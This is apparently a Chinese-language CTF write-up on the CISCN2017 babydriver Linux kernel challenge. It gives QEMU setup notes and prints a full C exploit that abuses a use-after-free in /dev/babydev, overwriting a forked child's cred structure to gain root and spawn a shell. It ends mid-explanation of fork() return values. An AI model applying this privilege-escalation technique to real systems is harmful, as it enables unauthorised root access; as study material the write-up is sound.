Kernel内核第一道KernelUAF

CISCN2017 - babydriver

详细分析请移步kernel UAF - CTF Wiki，文章用作记录。

1.KVM问题：

KVM是虚拟化技术，有的机器可以通过bios中打开VT开启。但是我CPU i7-10875H并不支持。但这并不影响执行boot.sh启动Qume。只需要把boot.sh 中有关KVM那一行选项删掉即可。

2.exp分析：

CISCN2017_babydriver [master●●] cat exploit.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

首先是fork()函数。

fork(复刻)函数就是从fork这段代码开始，复刻一个相同的进程。而在kernel中，一个进程拥有一个cred(类似身份证的东西)这个会记录进程是否为root权限。然后利用libc中UAF的技术，加上多进程的思想就可以实现kernelUAF。

fork函数的返回值：

1.负值，fork失败。

2.0  ，

3.正值，